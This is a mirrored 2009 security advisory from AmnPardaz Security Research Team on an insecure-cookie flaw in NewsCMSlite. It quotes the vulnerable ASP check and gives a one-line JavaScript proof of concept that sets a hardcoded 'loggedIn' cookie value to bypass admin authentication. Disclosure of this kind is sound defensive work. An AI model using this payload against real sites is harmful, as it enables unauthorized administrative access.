https://cxsecurity.com/issue/WLB-2009010071
NewsCMSlite Insecure Cookie Handling






漏洞ID | 1052240 | 漏洞类型 | |
发布时间 | 2009-01-28 | 更新时间 | 2009-01-28 |
![]() |
N/A | ![]() |
N/A |
漏洞平台 | N/A | CVSS评分 | N/A |
|漏洞来源
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
########################## www.BugReport.ir #########################
#
# AmnPardaz Security Research Team
#
# Title: NewsCMSlite
# Vendor: http://www.katywhitton.com
# Bug: Insecure Cookie Handling
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_62.htm
###################################################################
####################
- Description:
####################
NewsCMSlite is an easy way to get regularly updated content onto your
site without the need for programming skills or employing a Web
Maintenance engineer.
The system allows you to update your news, articles, diary
etc.dynamically using an Access Database to store the content.
####################
- Vulnerability:
####################
+-->Insecure Cookie Handling
Because of improper access restriction to the administration section,
It is possible to bypass the authentication mechanism and gain access
to the
administration section by setting the "loggedIn" cookie to "xY1zZoPQ"
Code Snippet:
/newsadmin.asp #line:73-101
if pageView="login" THEN
' Nothing
ELSE
if (Request.Cookies("loggedIn")="") OR
(Request.Cookies("loggedIn")<>"xY1zZoPQ") THEN
%>
<p><div align="center">
.
.
.
<%
ELSE
%>
<%if pageView="" THEN
' The User is logged in with permission
' to view the admin section so we
' display the article list and
' options menu
####################
- POC:
####################
javascript:document.cookie = "loggedIn=xY1zZoPQ; path=/"
####################
- Solution:
####################
Restrict and grant only trusted users access to the resources. Edit
the source code to ensure that inputs are properly sanitized.
####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com
检索漏洞
开始时间
结束时间